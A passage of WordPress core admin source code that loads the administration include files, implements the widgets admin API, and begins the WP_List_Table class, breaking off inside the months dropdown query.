	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	$admin_locale = get_locale();
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . $admin_locale . '.mo', $admin_locale );
	unset( $admin_locale );
}

/** WordPress Administration Hooks */
require_once ABSPATH . 'wp-admin/includes/admin-filters.php';

/** WordPress Bookmark Administration API */
require_once ABSPATH . 'wp-admin/includes/bookmark.php';

/** WordPress Comment Administration API */
require_once ABSPATH . 'wp-admin/includes/comment.php';

/** WordPress Administration File API */
require_once ABSPATH . 'wp-admin/includes/file.php';

/** WordPress Image Administration API */
require_once ABSPATH . 'wp-admin/includes/image.php';

/** WordPress Media Administration API */
require_once ABSPATH . 'wp-admin/includes/media.php';

/** WordPress Import Administration API */
require_once ABSPATH . 'wp-admin/includes/import.php';

/** WordPress Misc Administration API */
require_once ABSPATH . 'wp-admin/includes/misc.php';

/** WordPress Misc Administration API */
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';

/** WordPress Options Administration API */
require_once ABSPATH . 'wp-admin/includes/options.php';

/** WordPress Plugin Administration API */
require_once ABSPATH . 'wp-admin/includes/plugin.php';

/** WordPress Post Administration API */
require_once ABSPATH . 'wp-admin/includes/post.php';

/** WordPress Administration Screen API */
require_once ABSPATH . 'wp-admin/includes/class-wp-screen.php';
require_once ABSPATH . 'wp-admin/includes/screen.php';

/** WordPress Taxonomy Administration API */
require_once ABSPATH . 'wp-admin/includes/taxonomy.php';

/** WordPress Template Administration API */
require_once ABSPATH . 'wp-admin/includes/template.php';

/** WordPress List Table Administration API and base class */
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php';
require_once ABSPATH . 'wp-admin/includes/list-table.php';

/** WordPress Theme Administration API */
require_once ABSPATH . 'wp-admin/includes/theme.php';

/** WordPress Privacy Functions */
require_once ABSPATH . 'wp-admin/includes/privacy-tools.php';

/** WordPress Privacy List Table classes. */
// Previously in wp-admin/includes/user.php. Need to be loaded for backward compatibility.
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php';

/** WordPress User Administration API */
require_once ABSPATH . 'wp-admin/includes/user.php';

/** WordPress Site Icon API */
require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';

/** WordPress Update Administration API */
require_once ABSPATH . 'wp-admin/includes/update.php';

/** WordPress Deprecated Administration API */
require_once ABSPATH . 'wp-admin/includes/deprecated.php';

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once ABSPATH . 'wp-admin/includes/ms-admin-filters.php';
	require_once ABSPATH . 'wp-admin/includes/ms.php';
	require_once ABSPATH . 'wp-admin/includes/ms-deprecated.php';
}
<?php
/**
 * WordPress Widgets Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Display list of the available widgets.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 */
function wp_list_widgets() {
	global $wp_registered_widgets, $wp_registered_widget_controls;

	$sort = $wp_registered_widgets;
	usort( $sort, '_sort_name_callback' );
	$done = array();

	foreach ( $sort as $widget ) {
		if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget.
			continue;
		}

		$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
		$done[]  = $widget['callback'];

		if ( ! isset( $widget['params'][0] ) ) {
			$widget['params'][0] = array();
		}

		$args = array(
			'widget_id'   => $widget['id'],
			'widget_name' => $widget['name'],
			'_display'    => 'template',
		);

		if ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ) {
			$id_base            = $wp_registered_widget_controls[ $widget['id'] ]['id_base'];
			$args['_temp_id']   = "$id_base-__i__";
			$args['_multi_num'] = next_widget_id_number( $id_base );
			$args['_add']       = 'multi';
		} else {
			$args['_add'] = 'single';
			if ( $sidebar ) {
				$args['_hide'] = '1';
			}
		}

		$control_args = array(
			0 => $args,
			1 => $widget['params'][0],
		);
		$sidebar_args = wp_list_widget_controls_dynamic_sidebar( $control_args );

		wp_widget_control( ...$sidebar_args );
	}
}

/**
 * Callback to sort array by a 'name' key.
 *
 * @since 3.1.0
 * @access private
 *
 * @param array $a First array.
 * @param array $b Second array.
 * @return int
 */
function _sort_name_callback( $a, $b ) {
	return strnatcasecmp( $a['name'], $b['name'] );
}

/**
 * Show the widgets and their settings for a sidebar.
 * Used in the admin widget config screen.
 *
 * @since 2.5.0
 *
 * @param string $sidebar      Sidebar ID.
 * @param string $sidebar_name Optional. Sidebar name. Default empty.
 */
function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );

	$description = wp_sidebar_description( $sidebar );

	echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">';

	if ( $sidebar_name ) {
		$add_to = sprintf(
			/* translators: %s: Widgets sidebar name. */
			__( 'Add to: %s' ),
			$sidebar_name
		);
		?>
		<div class="sidebar-name" data-add-to="<?php echo esc_attr( $add_to ); ?>">
			<button type="button" class="handlediv hide-if-no-js" aria-expanded="true">
				<span class="screen-reader-text"><?php echo esc_html( $sidebar_name ); ?></span>
				<span class="toggle-indicator" aria-hidden="true"></span>
			</button>
			<h2><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h2>
		</div>
		<?php
	}

	if ( ! empty( $description ) ) {
		?>
		<div class="sidebar-description">
			<p class="description"><?php echo $description; ?></p>
		</div>
		<?php
	}

	dynamic_sidebar( $sidebar );

	echo '</div>';
}

/**
 * Retrieves the widget control arguments.
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 *
 * @param array $params
 * @return array
 */
function wp_list_widget_controls_dynamic_sidebar( $params ) {
	global $wp_registered_widgets;
	static $i = 0;
	++$i;

	$widget_id = $params[0]['widget_id'];
	$id        = isset( $params[0]['_temp_id'] ) ? $params[0]['_temp_id'] : $widget_id;
	$hidden    = isset( $params[0]['_hide'] ) ? ' style="display:none;"' : '';

	$params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>";
	$params[0]['after_widget']  = '</div>';
	$params[0]['before_title']  = '%BEG_OF_TITLE%'; // Deprecated.
	$params[0]['after_title']   = '%END_OF_TITLE%'; // Deprecated.

	if ( is_callable( $wp_registered_widgets[ $widget_id ]['callback'] ) ) {
		$wp_registered_widgets[ $widget_id ]['_callback'] = $wp_registered_widgets[ $widget_id ]['callback'];
		$wp_registered_widgets[ $widget_id ]['callback']  = 'wp_widget_control';
	}

	return $params;
}

/**
 * @global array $wp_registered_widgets
 *
 * @param string $id_base
 * @return int
 */
function next_widget_id_number( $id_base ) {
	global $wp_registered_widgets;
	$number = 1;

	foreach ( $wp_registered_widgets as $widget_id => $widget ) {
		if ( preg_match( '/' . preg_quote( $id_base, '/' ) . '-([0-9]+)$/', $widget_id, $matches ) ) {
			$number = max( $number, $matches[1] );
		}
	}
	++$number;

	return $number;
}

/**
 * Meta widget used to display the control form for a widget.
 *
 * Called from dynamic_sidebar().
 *
 * @since 2.5.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $sidebars_widgets
 *
 * @param array $sidebar_args
 * @return array
 */
function wp_widget_control( $sidebar_args ) {
	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;

	$widget_id  = $sidebar_args['widget_id'];
	$sidebar_id = isset( $sidebar_args['id'] ) ? $sidebar_args['id'] : false;
	$key        = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[ $sidebar_id ], true ) : '-1'; // Position of widget in sidebar.
	$control    = isset( $wp_registered_widget_controls[ $widget_id ] ) ? $wp_registered_widget_controls[ $widget_id ] : array();
	$widget     = $wp_registered_widgets[ $widget_id ];

	$id_format     = $widget['id'];
	$widget_number = isset( $control['params'][0]['number'] ) ? $control['params'][0]['number'] : '';
	$id_base       = isset( $control['id_base'] ) ? $control['id_base'] : $widget_id;
	$width         = isset( $control['width'] ) ? $control['width'] : '';
	$height        = isset( $control['height'] ) ? $control['height'] : '';
	$multi_number  = isset( $sidebar_args['_multi_num'] ) ? $sidebar_args['_multi_num'] : '';
	$add_new       = isset( $sidebar_args['_add'] ) ? $sidebar_args['_add'] : '';

	$before_form           = isset( $sidebar_args['before_form'] ) ? $sidebar_args['before_form'] : '<form method="post">';
	$after_form            = isset( $sidebar_args['after_form'] ) ? $sidebar_args['after_form'] : '</form>';
	$before_widget_content = isset( $sidebar_args['before_widget_content'] ) ? $sidebar_args['before_widget_content'] : '<div class="widget-content">';
	$after_widget_content  = isset( $sidebar_args['after_widget_content'] ) ? $sidebar_args['after_widget_content'] : '</div>';

	$query_arg = array( 'editwidget' => $widget['id'] );
	if ( $add_new ) {
		$query_arg['addnew'] = 1;
		if ( $multi_number ) {
			$query_arg['num']  = $multi_number;
			$query_arg['base'] = $id_base;
		}
	} else {
		$query_arg['sidebar'] = $sidebar_id;
		$query_arg['key']     = $key;
	}

	/*
	 * We aren't showing a widget control, we're outputting a template
	 * for a multi-widget control.
	 */
	if ( isset( $sidebar_args['_display'] ) && 'template' === $sidebar_args['_display'] && $widget_number ) {
		// number == -1 implies a template where id numbers are replaced by a generic '__i__'.
		$control['params'][0]['number'] = -1;
		// With id_base widget ID's are constructed like {$id_base}-{$id_number}.
		if ( isset( $control['id_base'] ) ) {
			$id_format = $control['id_base'] . '-__i__';
		}
	}

	$wp_registered_widgets[ $widget_id ]['callback'] = $wp_registered_widgets[ $widget_id ]['_callback'];
	unset( $wp_registered_widgets[ $widget_id ]['_callback'] );

	$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
	$has_form     = 'noform';

	echo $sidebar_args['before_widget'];
	?>
	<div class="widget-top">
	<div class="widget-title-action">
		<button type="button" class="widget-action hide-if-no-js" aria-expanded="false">
			<span class="screen-reader-text edit">
				<?php
				/* translators: Hidden accessibility text. %s: Widget title. */
				printf( __( 'Edit widget: %s' ), $widget_title );
				?>
			</span>
			<span class="screen-reader-text add">
				<?php
				/* translators: Hidden accessibility text. %s: Widget title. */
				printf( __( 'Add widget: %s' ), $widget_title );
				?>
			</span>
			<span class="toggle-indicator" aria-hidden="true"></span>
		</button>
		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>">
			<span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span>
			<span class="add"><?php _ex( 'Add', 'widget' ); ?></span>
			<span class="screen-reader-text"><?php echo $widget_title; ?></span>
		</a>
	</div>
	<div class="widget-title"><h3><?php echo $widget_title; ?><span class="in-widget-title"></span></h3></div>
	</div>

	<div class="widget-inside">
	<?php echo $before_form; ?>
	<?php echo $before_widget_content; ?>
	<?php
	if ( isset( $control['callback'] ) ) {
		$has_form = call_user_func_array( $control['callback'], $control['params'] );
	} else {
		echo "\t\t<p>" . __( 'There are no options for this widget.' ) . "</p>\n";
	}

	$noform_class = '';
	if ( 'noform' === $has_form ) {
		$noform_class = ' widget-control-noform';
	}
	?>
	<?php echo $after_widget_content; ?>
	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr( $id_format ); ?>" />
	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr( $id_base ); ?>" />
	<input type="hidden" name="widget-width" class="widget-width" value="<?php echo esc_attr( $width ); ?>" />
	<input type="hidden" name="widget-height" class="widget-height" value="<?php echo esc_attr( $height ); ?>" />
	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr( $widget_number ); ?>" />
	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr( $multi_number ); ?>" />
	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr( $add_new ); ?>" />

	<div class="widget-control-actions">
		<div class="alignleft">
			<button type="button" class="button-link button-link-delete widget-control-remove"><?php _e( 'Delete' ); ?></button>
			<span class="widget-control-close-wrapper">
				| <button type="button" class="button-link widget-control-close"><?php _e( 'Done' ); ?></button>
			</span>
		</div>
		<div class="alignright<?php echo $noform_class; ?>">
			<?php submit_button( __( 'Save' ), 'primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
			<span class="spinner"></span>
		</div>
		<br class="clear" />
	</div>
	<?php echo $after_form; ?>
	</div>

	<div class="widget-description">
	<?php
	$widget_description = wp_widget_description( $widget_id );
	echo ( $widget_description ) ? "$widget_description\n" : "$widget_title\n";
	?>
	</div>
	<?php
	echo $sidebar_args['after_widget'];

	return $sidebar_args;
}

/**
 * @param string $classes
 * @return string
 */
function wp_widgets_access_body_class( $classes ) {
	return "$classes widgets_access ";
}
<?php
/**
 * Administration API: WP_List_Table class
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 */

/**
 * Base class for displaying a list of items in an ajaxified HTML table.
 *
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_List_Table {

	/**
	 * The current list of items.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $items;

	/**
	 * Various information about the current table.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $_args;

	/**
	 * Various information needed for displaying the pagination.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $_pagination_args = array();

	/**
	 * The current screen.
	 *
	 * @since 3.1.0
	 * @var WP_Screen
	 */
	protected $screen;

	/**
	 * Cached bulk actions.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	private $_actions;

	/**
	 * Cached pagination output.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	private $_pagination;

	/**
	 * The view switcher modes.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $modes = array();

	/**
	 * Stores the value returned by ->get_column_info().
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $_column_headers;

	/**
	 * {@internal Missing Summary}
	 *
	 * @var array
	 */
	protected $compat_fields = array( '_args', '_pagination_args', 'screen', '_actions', '_pagination' );

	/**
	 * {@internal Missing Summary}
	 *
	 * @var array
	 */
	protected $compat_methods = array(
		'set_pagination_args',
		'get_views',
		'get_bulk_actions',
		'bulk_actions',
		'row_actions',
		'months_dropdown',
		'view_switcher',
		'comments_bubble',
		'get_items_per_page',
		'pagination',
		'get_sortable_columns',
		'get_column_info',
		'get_table_classes',
		'display_tablenav',
		'extra_tablenav',
		'single_row_columns',
	);

	/**
	 * Constructor.
	 *
	 * The child class should call this constructor from its own constructor to override
	 * the default $args.
	 *
	 * @since 3.1.0
	 *
	 * @param array|string $args {
	 *     Array or string of arguments.
	 *
	 *     @type string $plural   Plural value used for labels and the objects being listed.
	 *                            This affects things such as CSS class-names and nonces used
	 *                            in the list table, e.g. 'posts'. Default empty.
	 *     @type string $singular Singular label for an object being listed, e.g. 'post'.
	 *                            Default empty
	 *     @type bool   $ajax     Whether the list table supports Ajax. This includes loading
	 *                            and sorting data, for example. If true, the class will call
	 *                            the _js_vars() method in the footer to provide variables
	 *                            to any scripts handling Ajax events. Default false.
	 *     @type string $screen   String containing the hook name used to determine the current
	 *                            screen. If left null, the current screen will be automatically set.
	 *                            Default null.
	 * }
	 */
	public function __construct( $args = array() ) {
		$args = wp_parse_args(
			$args,
			array(
				'plural'   => '',
				'singular' => '',
				'ajax'     => false,
				'screen'   => null,
			)
		);

		$this->screen = convert_to_screen( $args['screen'] );

		add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 );

		if ( ! $args['plural'] ) {
			$args['plural'] = $this->screen->base;
		}

		$args['plural']   = sanitize_key( $args['plural'] );
		$args['singular'] = sanitize_key( $args['singular'] );

		$this->_args = $args;

		if ( $args['ajax'] ) {
			// wp_enqueue_script( 'list-table' );
			add_action( 'admin_footer', array( $this, '_js_vars' ) );
		}

		if ( empty( $this->modes ) ) {
			$this->modes = array(
				'list'    => __( 'Compact view' ),
				'excerpt' => __( 'Extended view' ),
			);
		}
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Getting a dynamic property is deprecated.
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Getting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return null;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Setting a dynamic property is deprecated.
	 *
	 * @param string $name  Property to check if set.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			$this->$name = $value;
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Setting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Checking a dynamic property is deprecated.
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is a back-compat property and it is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return isset( $this->$name );
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Checking `isset()` on a dynamic property " .
			'is deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return false;
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Unsetting a dynamic property is deprecated.
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			unset( $this->$name );
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"A property `{$name}` is not declared. Unsetting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|bool Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( in_array( $name, $this->compat_methods, true ) ) {
			return $this->$name( ...$arguments );
		}
		return false;
	}

	/**
	 * Checks the current user's permissions
	 *
	 * @since 3.1.0
	 * @abstract
	 */
	public function ajax_user_can() {
		die( 'function WP_List_Table::ajax_user_can() must be overridden in a subclass.' );
	}

	/**
	 * Prepares the list of items for displaying.
	 *
	 * @uses WP_List_Table::set_pagination_args()
	 *
	 * @since 3.1.0
	 * @abstract
	 */
	public function prepare_items() {
		die( 'function WP_List_Table::prepare_items() must be overridden in a subclass.' );
	}

	/**
	 * Sets all the necessary pagination arguments.
	 *
	 * @since 3.1.0
	 *
	 * @param array|string $args Array or string of arguments with information about the pagination.
	 */
	protected function set_pagination_args( $args ) {
		$args = wp_parse_args(
			$args,
			array(
				'total_items' => 0,
				'total_pages' => 0,
				'per_page'    => 0,
			)
		);

		if ( ! $args['total_pages'] && $args['per_page'] > 0 ) {
			$args['total_pages'] = (int) ceil( $args['total_items'] / $args['per_page'] );
		}

		// Redirect if page number is invalid and headers are not already sent.
		if ( ! headers_sent() && ! wp_doing_ajax() && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) {
			wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) );
			exit;
		}

		$this->_pagination_args = $args;
	}

	/**
	 * Access the pagination args.
	 *
	 * @since 3.1.0
	 *
	 * @param string $key Pagination argument to retrieve. Common values include 'total_items',
	 *                    'total_pages', 'per_page', or 'infinite_scroll'.
	 * @return int Number of items that correspond to the given pagination argument.
	 */
	public function get_pagination_arg( $key ) {
		if ( 'page' === $key ) {
			return $this->get_pagenum();
		}

		if ( isset( $this->_pagination_args[ $key ] ) ) {
			return $this->_pagination_args[ $key ];
		}

		return 0;
	}

	/**
	 * Determines whether the table has items to display or not
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function has_items() {
		return ! empty( $this->items );
	}

	/**
	 * Message to be displayed when there are no items
	 *
	 * @since 3.1.0
	 */
	public function no_items() {
		_e( 'No items found.' );
	}

	/**
	 * Displays the search box.
	 *
	 * @since 3.1.0
	 *
	 * @param string $text     The 'submit' button label.
	 * @param string $input_id ID attribute value for the search input field.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
			return;
		}

		$input_id = $input_id . '-search-input';

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['order'] ) ) {
			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['post_mime_type'] ) ) {
			echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['detached'] ) ) {
			echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />';
		}
		?>
<p class="search-box">
	<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
	<input type="search" id="<?php echo esc_attr( $input_id ); ?>" name="s" value="<?php _admin_search_query(); ?>" />
		<?php submit_button( $text, '', '', false, array( 'id' => 'search-submit' ) ); ?>
</p>
		<?php
	}

	/**
	 * Generates views links.
	 *
	 * @since 6.1.0
	 *
	 * @param array $link_data {
	 *     An array of link data.
	 *
	 *     @type string $url     The link URL.
	 *     @type string $label   The link label.
	 *     @type bool   $current Optional. Whether this is the currently selected view.
	 * }
	 * @return string[] An array of link markup. Keys match the `$link_data` input array.
	 */
	protected function get_views_links( $link_data = array() ) {
		if ( ! is_array( $link_data ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: The $link_data argument. */
					__( 'The %s argument must be an array.' ),
					'<code>$link_data</code>'
				),
				'6.1.0'
			);

			return array( '' );
		}

		$views_links = array();

		foreach ( $link_data as $view => $link ) {
			if ( empty( $link['url'] ) || ! is_string( $link['url'] ) || '' === trim( $link['url'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %1$s: The argument name. %2$s: The view name. */
						__( 'The %1$s argument must be a non-empty string for %2$s.' ),
						'<code>url</code>',
						'<code>' . esc_html( $view ) . '</code>'
					),
					'6.1.0'
				);

				continue;
			}

			if ( empty( $link['label'] ) || ! is_string( $link['label'] ) || '' === trim( $link['label'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %1$s: The argument name. %2$s: The view name. */
						__( 'The %1$s argument must be a non-empty string for %2$s.' ),
						'<code>label</code>',
						'<code>' . esc_html( $view ) . '</code>'
					),
					'6.1.0'
				);

				continue;
			}

			$views_links[ $view ] = sprintf(
				'<a href="%s"%s>%s</a>',
				esc_url( $link['url'] ),
				isset( $link['current'] ) && true === $link['current'] ? ' class="current" aria-current="page"' : '',
				$link['label']
			);
		}

		return $views_links;
	}

	/**
	 * Gets the list of views available on this table.
	 *
	 * The format is an associative array:
	 * - `'id' => 'link'`
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_views() {
		return array();
	}

	/**
	 * Displays the list of views available on this table.
	 *
	 * @since 3.1.0
	 */
	public function views() {
		$views = $this->get_views();
		/**
		 * Filters the list of available list table views.
		 *
		 * The dynamic portion of the hook name, `$this->screen->id`, refers
		 * to the ID of the current screen.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $views An array of available list table views.
		 */
		$views = apply_filters( "views_{$this->screen->id}", $views );

		if ( empty( $views ) ) {
			return;
		}

		$this->screen->render_screen_reader_content( 'heading_views' );

		echo "<ul class='subsubsub'>\n";
		foreach ( $views as $class => $view ) {
			$views[ $class ] = "\t<li class='$class'>$view";
		}
		echo implode( " |</li>\n", $views ) . "</li>\n";
		echo '</ul>';
	}

	/**
	 * Retrieves the list of bulk actions available for this table.
	 *
	 * The format is an associative array where each element represents either a top level option value and label, or
	 * an array representing an optgroup and its options.
	 *
	 * For a standard option, the array element key is the field value and the array element value is the field label.
	 *
	 * For an optgroup, the array element key is the label and the array element value is an associative array of
	 * options as above.
	 *
	 * Example:
	 *
	 *     [
	 *         'edit'         => 'Edit',
	 *         'delete'       => 'Delete',
	 *         'Change State' => [
	 *             'feature' => 'Featured',
	 *             'sale'    => 'On Sale',
	 *         ]
	 *     ]
	 *
	 * @since 3.1.0
	 * @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		return array();
	}

	/**
	 * Displays the bulk actions dropdown.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which The location of the bulk actions: Either 'top' or 'bottom'.
	 *                      This is designated as optional for backward compatibility.
	 */
	protected function bulk_actions( $which = '' ) {
		if ( is_null( $this->_actions ) ) {
			$this->_actions = $this->get_bulk_actions();

			/**
			 * Filters the items in the bulk actions menu of the list table.
			 *
			 * The dynamic portion of the hook name, `$this->screen->id`, refers
			 * to the ID of the current screen.
			 *
			 * @since 3.1.0
			 * @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
			 *
			 * @param array $actions An array of the available bulk actions.
			 */
			$this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$two = '';
		} else {
			$two = '2';
		}

		if ( empty( $this->_actions ) ) {
			return;
		}

		echo '<label for="bulk-action-selector-' . esc_attr( $which ) . '" class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Select bulk action' ) .
		'</label>';
		echo '<select name="action' . $two . '" id="bulk-action-selector-' . esc_attr( $which ) . "\">\n";
		echo '<option value="-1">' . __( 'Bulk actions' ) . "</option>\n";

		foreach ( $this->_actions as $key => $value ) {
			if ( is_array( $value ) ) {
				echo "\t" . '<optgroup label="' . esc_attr( $key ) . '">' . "\n";

				foreach ( $value as $name => $title ) {
					$class = ( 'edit' === $name ) ? ' class="hide-if-no-js"' : '';

					echo "\t\t" . '<option value="' . esc_attr( $name ) . '"' . $class . '>' . $title . "</option>\n";
				}
				echo "\t" . "</optgroup>\n";
			} else {
				$class = ( 'edit' === $key ) ? ' class="hide-if-no-js"' : '';

				echo "\t" . '<option value="' . esc_attr( $key ) . '"' . $class . '>' . $value . "</option>\n";
			}
		}

		echo "</select>\n";

		submit_button( __( 'Apply' ), 'action', '', false, array( 'id' => "doaction$two" ) );
		echo "\n";
	}

	/**
	 * Gets the current action selected from the bulk actions dropdown.
	 *
	 * @since 3.1.0
	 *
	 * @return string|false The action name. False if no action was selected.
	 */
	public function current_action() {
		if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) ) {
			return false;
		}

		if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] ) {
			return $_REQUEST['action'];
		}

		return false;
	}

	/**
	 * Generates the required HTML for a list of row action links.
	 *
	 * @since 3.1.0
	 *
	 * @param string[] $actions        An array of action links.
	 * @param bool     $always_visible Whether the actions should be always visible.
	 * @return string The HTML for the row actions.
	 */
	protected function row_actions( $actions, $always_visible = false ) {
		$action_count = count( $actions );

		if ( ! $action_count ) {
			return '';
		}

		$mode = get_user_setting( 'posts_list_mode', 'list' );

		if ( 'excerpt' === $mode ) {
			$always_visible = true;
		}

		$output = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';

		$i = 0;

		foreach ( $actions as $action => $link ) {
			++$i;

			$separator = ( $i < $action_count ) ? ' | ' : '';

			$output .= "<span class='$action'>{$link}{$separator}</span>";
		}

		$output .= '</div>';

		$output .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Show more details' ) .
		'</span></button>';

		return $output;
	}

	/**
	 * Displays a dropdown for filtering items in the list table by month.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb      $wpdb      WordPress database abstraction object.
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 *
	 * @param string $post_type The post type.
	 */
	protected function months_dropdown( $post_type ) {
		global $wpdb, $wp_locale;

		/**
		 * Filters whether to remove the 'Months' drop-down from the post list table.
		 *
		 * @since 4.2.0
		 *
		 * @param bool   $disable   Whether to disable the drop-down. Default false.
		 * @param string $post_type The post type.
		 */
		if ( apply_filters( 'disable_months_dropdown', false, $post_type ) ) {
			return;
		}

		/**
		 * Filters whether to short-circuit performing the months dropdown query.
		 *
		 * @since 5.7.0
		 *
		 * @param object[]|false $months   'Months' drop-down results. Default false.
		 * @param string         $post_type The post type.
		 */
		$months = apply_filters( 'pre_months_dropdown_query', false, $post_type );

		if ( ! is_array( $months ) ) {
			$extra_checks = "AND post_status != 'auto-draft'";
			if ( ! isset( $_GET['post_status'] ) || 'trash' !== $_GET['post_status'] ) {
				$extra_checks .= " AND post_status != 'trash'";
			} elseif ( isset( $_GET['post_status'] ) ) {
				$extra_checks = $wpdb->prepare( ' AND post_status = %s', $_GET['post_status'] );
			}

			$months = $wpdb->get_results(
				$wpdb->prepare(
					"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
					FROM $wpdb->posts
					WHERE post_type = %s
					$extra_checks
					ORDER BY post_date DESC",
					$post_type
